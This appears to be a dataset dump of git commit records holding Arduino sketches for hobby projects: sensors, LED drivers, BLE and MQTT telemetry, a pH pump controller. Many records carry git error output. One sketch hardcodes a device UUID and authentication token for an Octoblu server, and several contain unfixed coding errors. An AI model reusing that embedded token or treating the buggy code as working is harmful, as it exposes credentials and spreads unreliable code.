{"commit":"6beae14e6300940f870627fa92e8590bd09f68f6","subject":"add TemplateSketch.ino example","message":"add TemplateSketch.ino example\n","repos":"dcs-bios\/dcs-bios-arduino-library","old_file":"examples\/TemplateSketch\/TemplateSketch.ino","new_file":"examples\/TemplateSketch\/TemplateSketch.ino","new_contents":"#include <DcsBios.h>\n#include <Servo.h>\n\n\/**** Make your changes after this line ****\/\n\n\n\/**** In most cases, you do not have to change anything below this line ****\/\n\n\/* Instantiate a ProtocolParser object to parse the DCS-BIOS export stream *\/\nDcsBios::ProtocolParser parser;\n\nvoid setup() {\n Serial.begin(500000);\n}\n\n\/*\nYour main loop needs to pass data from the DCS-BIOS export\nstream to the parser object you instantiated above.\n\nIt also needs to call DcsBios::PollingInput::pollInputs()\nto detect changes in the state of connected controls and\npass them on to DCS.\n*\/\nvoid loop() {\n \/\/ feed incoming data to the parser\n while (Serial.available()) {\n parser.processChar(Serial.read());\n }\n \n \/\/ poll inputs\n DcsBios::PollingInput::pollInputs();\n}\n\n\/*\nYou need to define\nvoid sendDcsBiosMessage(const char* msg, const char* arg)\nso that the string msg, followed by a space, the string arg\nand a newline gets sent to the DCS-BIOS import stream.\n\nIn this example we send it to the serial port, so you need to\nrun socat to read the data from the serial port and send it\nover UDP to DCS-BIOS.\n\nIf you are using an Ethernet Shield, you would probably want\nto send a UDP packet from this subroutine.\n*\/\nvoid sendDcsBiosMessage(const char* msg, const char* arg) {\n Serial.write(msg);\n Serial.write(' ');\n Serial.write(arg);\n Serial.write('\\n');\n}\n\n\/*\nThis subroutine gets called every time a message is received\nfrom the export stream (you need to define it even if it\ndoes nothing).\n\nUse this to handle outputs which are not covered by the\nDcsBios Arduino library (e.g. displays).\n*\/\nvoid onDcsBiosMessage(const char* msg, const char* arg) {\n \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TemplateSketch\/TemplateSketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"da83de54caaecb363f8c402bb6d8d931477c9ec1","subject":"Create PP_G3099b0302.ino","message":"Create PP_G3099b0302.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/G3_module\/PP_G3099b0302.ino","new_file":"Arduino with cc3000wifi based\/G3_module\/PP_G3099b0302.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/G3_module\/PP_G3099b0302.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"578a54c516f6d42c7a0b089f5f886b05db56b204","subject":"rduino part","message":"rduino part\n","repos":"jabiel\/HomeBot,jabiel\/HomeBot","old_file":"HomeBot.Arduino\/Sensors\/Motion\/Motion.ino","new_file":"HomeBot.Arduino\/Sensors\/Motion\/Motion.ino","new_contents":"#include <JeeLib.h>\n#include <RCSwitch.h> \/\/ https:\/\/code.google.com\/p\/rc-switch\/\n#include <PinChangeInt.h>\n\nRCSwitch rf = RCSwitch();\nISR(WDT_vect) {Sleepy::watchdogEvent();} \/\/ Setup for low power waiting\n\nint calibrationTime = 10; \/\/the time we give the sensor to calibrate (10-60 secs according to the datasheet)\nint rfPacketsToSend = 10; \n\n\/\/ Pins\nint PIR = 2;\nint LED = 13;\nint RFTX = 9; \/\/ Transmitter is connected to Arduino Pin #10\n\nint rfAlertCode = 666; \/\/ code send when motion detected\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(PIR, INPUT);\n pinMode(LED, OUTPUT);\n rf.enableTransmit(RFTX);\n\n PRR = bit(PRTIM1); \/\/ only keep timer 0 going\n ADCSRA &= ~ bit(ADEN); bitSet(PRR, PRADC); \/\/ Disable the ADC to save power\n PCintPort::attachInterrupt(PIR, wakeUp, CHANGE);\n \n CalibratePirSensor(); \/\/give the sensor some time to calibrate\n}\n\nvoid loop() {\n int ll = HIGH;\n delay(100);\n Serial.println(\"Motion detected\");\n for (int i = 0; i < rfPacketsToSend; i++)\n {\n Serial.print(\".\");\n rf.send(rfAlertCode, 24);\n digitalWrite(LED, ll);\n ll = ll == HIGH ? LOW : HIGH;\n }\n \n Serial.println(\"\");\n \n Sleepy::powerDown();\n}\n\nvoid wakeUp() {}\n\nvoid CalibratePirSensor()\n{\n int ll = HIGH;\n Serial.println(\"Calibrating PIR sensor \");\n for (int i = 0; i < calibrationTime; i++) {\n Serial.print(\".\");\n delay(1000);\n digitalWrite(LED, ll);\n ll = ll == HIGH ? LOW : HIGH;\n }\n Serial.println(\"\");\n Serial.println(\"Sensor active\");\n digitalWrite(LED, LOW);\n delay(50);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HomeBot.Arduino\/Sensors\/Motion\/Motion.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c770b5406d078596ff16c9668c65716c39e2e790","subject":"re-adding example","message":"re-adding example\n","repos":"octoblu\/tentacle-dist-l3d,octoblu\/tentacle-dist-particle","old_file":"firmware\/examples\/tentacle-particle\/tentacle-particle.ino","new_file":"firmware\/examples\/tentacle-particle\/tentacle-particle.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"tentacle-particle\/tentacle-particle.h\"\n\n#define server \"tentacle.octoblu.com\"\n#define port 80\n\n\/\/ IPAddress server(192,168,100,9);\n\/\/ #define port 8111\n\nstatic const char uuid[] = \"91f33395-847a-4d71-af25-fd3abe3371bc\";\nstatic const char token[] = \"24fefe99413b16283f41c7cf8c82d376211392f7\";\n\nTCPClient conn;\n\nTentacleArduino tentacle;\nPseudopod pseudopod(conn, conn, tentacle);\n\nuint32_t lastPing = 0;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(F(\"The Day of the Tentacle has begun!\"));\n connectToServer();\n}\n\nvoid loop() {\n if (!isConnected()) {\n conn.stop();\n connectToServer();\n }\n\n readData();\n\n if(pseudopod.shouldBroadcastPins() ) {\n delay(pseudopod.getBroadcastInterval());\n size_t configSize = pseudopod.sendConfiguredPins();\n Serial.print(configSize);\n Serial.print(F(\" bytes written while broadcasting pins\"));\n }\n\n}\n\nbool isConnected() {\n if(!conn.connected()) {\n return false;\n }\n\n \/\/send keepalive every 5 seconds.\n if( (millis() - lastPing) > 5000) {\n Serial.println(F(\"Pinging the server\"));\n Serial.flush();\n lastPing = millis();\n return pseudopod.isConnected();\n\n }\n\n return true;\n}\n\nvoid readData() {\n while (conn.available()) {\n Serial.println(F(\"Received message\"));\n Serial.flush();\n\n if(pseudopod.readMessage() == TentacleMessageTopic_action) {\n Serial.println(F(\"Got an action message\"));\n pseudopod.sendPins();\n }\n }\n}\n\nvoid connectToServer() {\n int connectionAttempts = 0;\n Serial.println(F(\"Connecting to the server.\"));\n Serial.flush();\n\n while(!conn.connect(server, port)) {\n Serial.println(F(\"Can't connect to the server.\"));\n Serial.flush();\n conn.stop();\n connectionAttempts++;\n }\n\n size_t authSize = pseudopod.authenticate(uuid, token);\n Serial.print(authSize);\n Serial.println(F(\" bytes written for authentication\"));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/tentacle-particle\/tentacle-particle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"02d04a17d53407099dc78033c1110303e440beeb","subject":"updated shell.ini comments","message":"updated shell.ini comments\n","repos":"u-fire\/ECSalinity,u-fire\/ECSalinity,u-fire\/ECSalinity","old_file":"examples\/Shell\/Shell.ino","new_file":"examples\/Shell\/Shell.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/u-fire\/ECSalinity.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1a4f16e74015d782caa3038b0110ebed81eaa6ef","subject":"Arduino Code","message":"Arduino Code\n","repos":"Libs1\/SoftwareControlledDrone.github.io,Libs1\/SoftwareControlledDrone.github.io","old_file":"Arduino Code\/nrf24_multipro\/nRF24_multipro\/nRF24_multipro.ino","new_file":"Arduino Code\/nrf24_multipro\/nRF24_multipro\/nRF24_multipro.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/nrf24_multipro\/nRF24_multipro\/nRF24_multipro.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"eee36937e48e1c18a3db9ecaec1caca14d6074e0","subject":"cat adem 4","message":"cat adem 4\n\nserial number\n","repos":"SynerconTechnologies\/SmartSensorSimulator,SynerconTechnologies\/SmartSensorSimulator","old_file":"Arduino Sketch Library\/SSS_ADEM4_Rev9_Mega\/SSS_ADEM4_Rev9_Mega.ino","new_file":"Arduino Sketch Library\/SSS_ADEM4_Rev9_Mega\/SSS_ADEM4_Rev9_Mega.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SynerconTechnologies\/SmartSensorSimulator.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5934dfba89ab420d0ee904bdb9ee711d9b30a90d","subject":"Wrote code to send 0x00 on Xbee serial if button is pressed and debounced","message":"Wrote code to send 0x00 on Xbee serial if button is pressed and debounced\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"XbeeButton\/XbeeButton.ino","new_file":"XbeeButton\/XbeeButton.ino","new_contents":"#include <Xbee.h>\n#include \"XbeeApiStream.h\"\n\nconst int button_pin = 5;\n\nunsigned long debounce_timestamp = 0, debounce_delay = 50;\nint button_state = LOW, last_button_state = LOW;\n\nXbeeApiStream xbeeStream = XbeeApiStream();\n\nvoid setup() {\n\tSerial.begin(9600);\n\txbeeStream.begin(Serial);\n\tpinMode(button_pin, INPUT);\n\tdigitalWrite(button_pin, HIGH);\n\tpinMOde(LED_BUILTIN, OUTPUT);\n\tdigitalWrite(LED_BUILTIN, !state_paused);\n}\n\nvoid loop() {\n\tint reading = digitalRead(button_pin);\n\tif(reading != last_button_state)\tdebounce_timestamp = millis();\n\tif(millis() - debounce_timestamp > debounce_delay){\n\t\tif(reading != button_state){\n\t\t\tbutton_state = reading;\n\t\t\tif(button_state == HIGH){\n\t\t\t\tdigitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN));\n\t\t\t\txbeeStream.write(0x00);\n\t\t\t}\n\t\t}\n\t}\n\tlast_button_state = reading;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'XbeeButton\/XbeeButton.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4e7a45d9b1b141cd6bd7010e9211625e7c173471","subject":"Adding initial firmware.","message":"Adding initial firmware.\n","repos":"ikea-lisp-code\/diodberg,ikea-lisp-code\/diodberg","old_file":"firmware\/TLCserial.ino","new_file":"firmware\/TLCserial.ino","new_contents":"#include <DMXSerial.h>\n\n\/*\n Basic Pin setup:\n ------------ ---u----\n ARDUINO 13|-> SCLK (pin 25) OUT1 |1 28| OUT channel 0\n 12| OUT2 |2 27|-> GND (VPRG)\n 11|-> SIN (pin 26) OUT3 |3 26|-> SIN (pin 11)\n 10|-> BLANK (pin 23) OUT4 |4 25|-> SCLK (pin 13)\n 9|-> XLAT (pin 24) . |5 24|-> XLAT (pin 9)\n 8| . |6 23|-> BLANK (pin 10)\n 7| . |7 22|-> GND\n 6| . |8 21|-> VCC (+5V)\n 5| . |9 20|-> 2K Resistor -> GND\n 4| . |10 19|-> +5V (DCPRG)\n 3|-> GSCLK (pin 18) . |11 18|-> GSCLK (pin 3)\n 2| . |12 17|-> SOUT\n 1| . |13 16|-> XERR\n 0| OUT14|14 15| OUT channel 15\n ------------ --------\n\n - Put the longer leg (anode) of the LEDs in the +5V and the shorter leg\n (cathode) in OUT(0-15).\n - +5V from Arduino -> TLC pin 21 and 19 (VCC and DCPRG)\n - GND from Arduino -> TLC pin 22 and 27 (GND and VPRG)\n - digital 3 -> TLC pin 18 (GSCLK)\n - digital 9 -> TLC pin 24 (XLAT)\n - digital 10 -> TLC pin 23 (BLANK)\n - digital 11 -> TLC pin 26 (SIN)\n - digital 13 -> TLC pin 25 (SCLK)\n - The 2K resistor between TLC pin 20 and GND will let ~20mA through each\n LED. To be precise, it's I = 39.06 \/ R (in ohms). This doesn't depend\n on the LED driving voltage.\n - (Optional): put a pull-up resistor (~10k) between +5V and BLANK so that\n all the LEDs will turn off when the Arduino is reset.\n\n If you are daisy-chaining more than one TLC, connect the SOUT of the first\n TLC to the SIN of the next. All the other pins should just be connected\n together:\n BLANK on Arduino -> BLANK of TLC1 -> BLANK of TLC2 -> ...\n XLAT on Arduino -> XLAT of TLC1 -> XLAT of TLC2 -> ...\n The one exception is that each TLC needs it's own resistor between pin 20\n and GND.\n\n This library uses the PWM output ability of digital pins 3, 9, 10, and 11.\n Do not use analogWrite(...) on these pins.\n\n This sketch does the Knight Rider strobe across a line of LEDs.\n\n Alex Leone <acleone ~AT~ gmail.com>, 2009-02-03 *\/\n\n#include \"Tlc5940.h\"\n\nstatic int bright[3] = {0, 1224, 2650};\n\nvoid setup()\n{\n \/* Call Tlc.init() to setup the tlc.\n You can optionally pass an initial PWM value (0 - 4095) for all channels.*\/\n Tlc.init();\n Tlc.set(0, 4095);\n digitalWrite(2, LOW);\n pinMode(2, OUTPUT);\n DMXSerial.init(DMXReceiver);\n Tlc.set(1, 4095);\n delay(500);\n Tlc.set(2, 4095);\n}\n\n\/* This loop will create a Knight Rider-like effect if you have LEDs plugged\n into all the TLC outputs. NUM_TLCS is defined in \"tlc_config.h\" in the\n library folder. After editing tlc_config.h for your setup, delete the\n Tlc5940.o file to save the changes. *\/\n\nvoid loop()\n{\n for (int i = 0; i < 48; i++) {\n Tlc.set(i, DMXSerial.read(i+1) << 4);\n }\n Tlc.update();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/TLCserial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e09f27364a766f89279be123cd30ee31d67befc3","subject":"initial ble impl, incomplete","message":"initial ble impl, incomplete\n","repos":"jb38\/cs475-senior-project,jb38\/cs475-senior-project","old_file":"src\/main\/arduino\/temploggerBLE\/temploggerBLE.ino","new_file":"src\/main\/arduino\/temploggerBLE\/temploggerBLE.ino","new_contents":"#include <SPI.h>\n#include <SD.h>\n\/\/#include <stdlib.h>\n#include <RFduinoBLE.h>\n#include <Wire.h>\n#include <RTC_DS3231.h>\n\n#include <OneWire.h> \/\/ http:\/\/forum.rfduino.com\/index.php?topic=103.msg261#msg261\n\n\/\/ Wire.beginOnPins(2, 3); \/\/ Starts the I2C interface with SCL on GPIO 2 and SDA on GPIO 3\n\n#define LOGGING_FREQ_SECONDS 300\n\n#define RTC_POWER_PIN 2u\nRTC_DS3231 RTC;\n\n#define TEMP_SIGNAL_PIN 6u\nOneWire ds(TEMP_SIGNAL_PIN);\n\nvoid setup() {\n \n RFduinoBLE.deviceName = \"Hood-CS475\";\n RFduinoBLE.advertisementData = \"data\";\n RFduinoBLE.advertisementInterval = 1000; \/\/ 1s\n RFduinoBLE.txPowerLevel = -20;\n RFduinoBLE.begin();\n \n Wire.beginOnPins(1u, 0u);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n\n if (!RFduinoBLE.radioActive) {\n RFduino_ULPDelay(SECONDS(LOGGING_FREQ_SECONDS));\n }\n}\n\nvoid RFduinoBLE_onConnect(){\n\/\/ Insert code\n}\n\nvoid RFduinoBLE_onDisconnect(){\n\/\/ Insert code here\n}\n\nvoid RFduinoBLE_onReceive(char *data, int len){\n uint8_t myByte = data[0]; \/\/ store first char in array to myByte\n Serial.println(myByte); \/\/ print myByte via serial\n \n \/\/ GetStationIdentifier\n if (strcmp(data, \"GetStationIdentifer\") == 0) {\n getStationIdentifer()\n } \n \/\/ GetAllObservations\n else if (strcmp(data, \"GetAllObservations\") == 0) {\n getAllObservations()\n } \n \/\/ GetSystemState\n else if (strcmp(data, \"GetSystemState\") == 0) {\n getSystemState()\n } \n}\n\nvoid getStationIdentifer() {\n \/\/ RFduinoBLE.send(const char *data, int len);\n \n}\n\nvoid getAllObservations() {\n \n}\n\nvoid getSystemState() {\n \n}\n\nfloat getTemp() { \/\/returns the temperature from one DS18S20 in DEG Celsius\n\n byte data[12];\n byte addr[8];\n\n if (!ds.search(addr)) {\n \/\/no more sensors on chain, reset search\n ds.reset_search();\n return -1000;\n }\n\n if (OneWire::crc8(addr, 7) != addr[7]) {\n Serial.println(\"CRC is not valid!\");\n return -1000;\n }\n\n if (addr[0] != 0x10 && addr[0] != 0x28) {\n Serial.print(\"Device is not recognized\");\n return -1000;\n }\n\n ds.reset();\n ds.select(addr);\n ds.write(0x44, 1); \/\/ start conversion, with parasite power on at the end\n\n delay(750); \/\/ required wait time for parasitic power\n\n byte present = ds.reset();\n ds.select(addr);\n ds.write(0xBE); \/\/ Read Scratchpad\n\n for (int i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = ds.read();\n }\n\n ds.reset_search();\n\n byte MSB = data[1];\n byte LSB = data[0];\n\n float tempRead = ((MSB << 8) | LSB); \/\/using two's compliment\n float temperatureSum = tempRead \/ 16;\n\n return temperatureSum;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/main\/arduino\/temploggerBLE\/temploggerBLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b2772991eb88a1132259cc2000eb2ba82dd6db1","subject":"deleted the GUI, change a bit","message":"deleted the GUI, change a bit\n","repos":"ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2","old_file":"PH_final_code\/PH_final_code.ino","new_file":"PH_final_code\/PH_final_code.ino","new_contents":"\n#define outputPIN P1_5\n#define inPIN P1_4\n#define basePIN P2_1\n#define acidPIN P2_2\n\n\nunsigned long int timeSend = 0;\nunsigned long int timeSinceMotorRun = 1000000;\nboolean shutDown = false;\nboolean motorRunning = false;\nint PHtarget = 1200; \/\/ will be updated by interface\nint PHmargin = 50; \/\/ \nint output = 0;\nint input = 0;\n \n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.setTimeout(50);\n pinMode(outputPIN, INPUT);\n pinMode(inPIN, INPUT);\n pinMode(basePIN, OUTPUT);\n pinMode(acidPIN, OUTPUT);\n digitalWrite(basePIN, LOW);\n digitalWrite(acidPIN, LOW);\n}\n\nvoid loop()\n{\n\n if(millis() - timeSend > 1000) \/\/ function to run every 0.25s\n {\n \/\/ read the input on analog pin P1.5:\n output = analogRead(outputPIN)*2.9; \/\/ this include a gain of 11\n input = analogRead(inPIN)*2.9;\n \n \/\/ print out the value we have read to the interface:\n Serial.print(\"PHoutputex:\");\n Serial.print(output);\n Serial.print(\"\\r\\n\"); \n Serial.print(\"PHinputes:\");\n Serial.print(input);\n Serial.print(\"\\r\\n\"); \n Serial.print(\"PHtarget:\");\n Serial.print(PHtarget);\n Serial.print(\"\\r\\n\"); \n \n PHmaintain(); \/\/ activate motors if required;\n \n timeSend = millis(); \n }\n \n PHcommandListen(); \/\/ listen for commands NOTE; THIS SECTION MUST BE COMBINED WITH OTHER SUBSYSTEMS\n \n \n \n}\n\n void PHmaintain(){\n \n int difference = PHtarget - output;\n Serial.print(\"difference:\");\n Serial.println(difference);\n \n if(motorRunning && (millis() - timeSinceMotorRun > 2000)) \/\/ if we've been running the motor for more than 2s\n {\n digitalWrite(basePIN, LOW);\n digitalWrite(acidPIN, LOW);\n \/\/ turn both motors off\n motorRunning = false;\n Serial.println(\"Shutting motor down\");\n }\n \n if(abs(difference) > PHmargin) \/\/ if the PH is outside the margin\n {\n Serial.println(\"PH outside margin\");\n \n if(difference > 0 && (millis() - timeSinceMotorRun) > 5000) \/\/ if solution is too acidic and we havn't run a motor for 10s\n {\n if(!shutDown){ \/\/ if we havn't shut the motors down.\n timeSinceMotorRun = millis();\n motorRunning = true;\n digitalWrite(basePIN, HIGH); \/\/ run base motor\n Serial.println(\"Runnng base motor\"); \n }\n }\n \n if(difference < 0 && (millis() - timeSinceMotorRun) > 5000) \/\/ if solution is too alkalie and we havn't run a motor for 10s\n {\n if(!shutDown){ \/\/ if we havn't shut the motors down.\n timeSinceMotorRun = millis();\n motorRunning = true;\n digitalWrite(acidPIN, HIGH); \/\/ run acid motor;\n Serial.println(\"Runnng acid motor\"); \n }\n } \n }\n \n }\n\n void PHcommandListen() \/\/ listen and reactor to commands from the interface\n {\n \n while (Serial.available() > 0) {\n \n String inString = Serial.readString();\n inString.trim();\n Serial.println(inString); \/\/DEBUG ONLY\n \n if(inString.equals(\"S\")){\n Serial.println(\"PH is in shutdown\");\n shutDown = true;\n digitalWrite(basePIN, LOW);\n digitalWrite(acidPIN, LOW);\n \/\/ turn both motors off\n motorRunning = false;\n }\n if(inString.equals(\"XS\")){\n Serial.println(\"PH has resumed\");\n shutDown = false;\n }\n if((inString.substring(0,11)).equals(\"PHcommanded\")) \/\/ if we see a command\n {\n PHtarget = inString.substring(12).toInt(); \/\/ change the target PH\n }\n }\n \n \n }\n \n \n \n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PH_final_code\/PH_final_code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e0a39a7ee60cabb53515a370856a151dacf07bd2","subject":"Added hvac monitor arduino","message":"Added hvac monitor arduino\n","repos":"jussikin\/homeAutomation,jussikin\/homeAutomation,jussikin\/homeAutomation,jussikin\/homeAutomation","old_file":"Arduino\/HvacMonitor\/HvacMonitor.ino","new_file":"Arduino\/HvacMonitor\/HvacMonitor.ino","new_contents":"#include <OneWire.h>\n#include <PubSubClient.h>\n#include <ESP8266WiFi.h>\n\n\/\/ Add missing definitions for WIFI and mq information here\n#include \"config.h\"\n#define SECONDS_DS(seconds) ((seconds)*1000000UL)\n#define AMOUNT_SENSORS 20\nconst char* mqtt_server = SERVERADDRESS;\nint numSensors = AMOUNT_SENSORS;\nfloat sensorValues[AMOUNT_SENSORS];\nbyte* sendsensors[8];\nint sendSensors = 0;\nOneWire ds(ONEWIREPIN);\n\n\nWiFiClient espClient;\nPubSubClient client(espClient);\n\nvoid setup_wifi() {\n WiFi.begin(WIFIHOTSPOT, WIFIKEY);\n client.setServer(mqtt_server, 1883);\n}\n\n\nvoid setup() {\n byte addr[8];\n\n \/\/Serial.begin(9600);\n Serial.println(\"Starting search now\");\n while (ds.search(addr)) {\n Serial.println(\"Found Sensor.. Addindg it\");\n byte *byteArray;\n byteArray = (byte*) malloc (8 * sizeof(byte));\n memcpy(byteArray, addr, 8);\n sendsensors[sendSensors] = byteArray;\n sendSensors++;\n Serial.print(\"Address:\");\n Serial.write(addr, 8);\n Serial.println(\"\");\n }\n Serial.println(\"setup wifi\");\n setup_wifi();\n Serial.print(\"init done\");\n}\n\nvoid readAllSensorsData() {\n byte data[12];\n byte present = 0;\n byte type_s = 0;\n byte first;\n char msg[30];\n char str_temperature[10];\n\n for (int i = 0; i < sendSensors; i++) {\n\n Serial.print(\"Iterating one sensor\");\n ds.reset();\n ds.select(sendsensors[i]);\n ds.write(0x44, 1);\n \/\/wait for conversion ready\n delay(1000);\n present = ds.reset();\n ds.select(sendsensors[i]);\n ds.write(0xBE);\n Serial.print(\"P=\");\n Serial.print(present, HEX);\n Serial.print(\" \");\n for (int j = 0; j < 9; j++) { \/\/ we need 9 bytes\n data[j] = ds.read();\n Serial.print(data[j], HEX);\n Serial.print(\" \");\n }\n Serial.print(\" CRC=\");\n Serial.print( OneWire::crc8( data, 8), HEX);\n Serial.println();\n int16_t raw = (data[1] << 8) | data[0];\n if (type_s) {\n raw = raw << 3; \/\/ 9 bit resolution default\n if (data[7] == 0x10) {\n \/\/ \"count remain\" gives full 12 bit resolution\n raw = (raw & 0xFFF0) + 12 - data[6];\n }\n } else {\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n }\n\n float celsius = (float)raw \/ 16.0;\n float fahrenheit = celsius * 1.8 + 32.0;\n Serial.print(\" Temperature = \");\n Serial.print(celsius);\n Serial.print(\" Celsius, \");\n Serial.print(fahrenheit);\n Serial.println(\" Fahrenheit\");\n dtostrf(celsius, 1, 2, str_temperature);\n snprintf (msg, 30, \"%d,%s\",i,str_temperature);\n client.publish(\"HVACData\", msg);\n\n }\n\n\n}\n\nvoid reconnect() {\n while (!client.connected()) {\n String clientId = \"ESP8266Client-\";\n clientId += String(random(0xffff), HEX);\n \/\/ Attempt to connect\n if (client.connect(clientId.c_str())) {\n \/\/good connection just spew the data and continue\n readAllSensorsData();\n delay(3000);\n ESP.deepSleep(SECONDS_DS(55));\n } else {\n delay(2000);\n }\n }\n}\n\n\nvoid loop() {\n if (!client.connected()) {\n reconnect();\n }\n\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/HvacMonitor\/HvacMonitor.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"}